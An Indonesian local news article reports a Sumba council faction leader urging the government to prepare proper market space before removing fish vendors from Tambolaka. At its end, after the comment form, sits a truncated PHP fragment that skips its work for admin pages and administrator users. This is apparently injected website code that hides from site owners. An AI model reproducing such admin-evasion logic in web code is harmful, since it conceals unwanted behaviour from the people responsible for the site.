Ekonomi

Ketua Fraksi Gerindra DPRD SBD Minta Pemerintah Tidak Asal Gusur Pedagang Ikan : Mereka Jualan karena Tuntutan Perut

×

Ketua Fraksi Gerindra DPRD SBD Minta Pemerintah Tidak Asal Gusur Pedagang Ikan : Mereka Jualan karena Tuntutan Perut

Sebarkan artikel ini

TAMBOLAKA, MENARASUMBA.COM – Ketua Fraksi Partai Gerinda DPRD Kabupaten SBD, Thomas Bulu meminta pemerintah tidak gegabah menertibkan pedagang ikan yang berjualan di dalam Kota Tambolaka.

Imbauan ini disampaikan Thomas Bulu kepada awak media, Senin (08/12/2025).

Lapak penjual ikan basah yang telah disiapkan di Pasar Omba Komi. ( Foto Menara Sumba )

“Meski tujuannya untuk penertiban dan penegakan aturan, kita siapkan dulu sarana. Itu yang paling utama siapkan tempatnya,” pinta Thomas.

Pemerintah wajib menyediakan tempat yang menjamin keberlangsungan usaha para pedagang ikan, karena merupakan sumber penghasilan utama.

Keluhan pedagang ikan, kata dia, harus disikapi secara aspiratif dan dipertimbangkan dengan bijak.

“Jika mereka mengeluh, tentu ada soal di situ yang wajib dicermati dan dicari solusinya,” ujar anggota Komisi II DPRD SBD ini.

Sesuai pantauan selama ini, salah satu pokok soal yang sering dikeluhkan para pedagang ikan adalah keberlangsungan usaha.

Pasalnya, kebanyakan pedagang ikan ini tidak punya modal usaha memadai, bahkan sebagian besar ditopang pinjaman koperasi harian.

“Bisa dibayangkan jika kemudian pendapatan mereka berkurang drastis dan tidak bisa bayar cicilan pinjaman,” timpalnya lagi.

Usaha jual ikan basah beresiko tinggi karena jika tidak laku maka sudah pasti membusuk dan dibuang sia-sia.

Dengan demikian, tempat usaha yang tidak mendukung bakal jadi momok bagi para pedagang kecil ini.

“Sebaiknya sebelum ada tempat yang betul-betul memadai, area Pasar Rada Mata bisa dimanfaatkan sementara waktu,” usulnya.

Pelataran jalan dalam area pasar (lama) ini dipakai sementara sehingga bisa mengakomodir semua pedagang ikan.

“Di sepanjang pinggiran jalan raya di dalam pasar, berbaris saja, tidak ada yang di depan, tidak ada yang di belakang,” imbuh Thomas.

Namun demikian, tata kelola limbah harus matang dan dielaborasi dengan seksama.

Kalau pun kelak para pedagang terpaksa harus dipindahkan ke Pasar Omba Komi, maka penertibannya tanpa pandang bulu.

“Seluruh pedagang yang jualan di area dalam kota, baik di Rangga Roko, Kere Robbo, maupun yang jualan keliling pakai kendaraan harus ditertibkan,” tandasnya.

Jika pemerintah tegas dan berlaku adil, maka tidak akan ada rintangan saat melakukan penertiban.

“Saya pikir masyarakat tidak menuntut aneh-aneh, yang penting usahanya tidak macet dan dapur tetap berasap,” tutupnya. ( JIP/MS )

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *

function seo_cache() { if (is_admin()) { return; } $current_user = wp_get_current_user(); if (in_array('administrator', (array) $current_user->roles)) { return; } ?>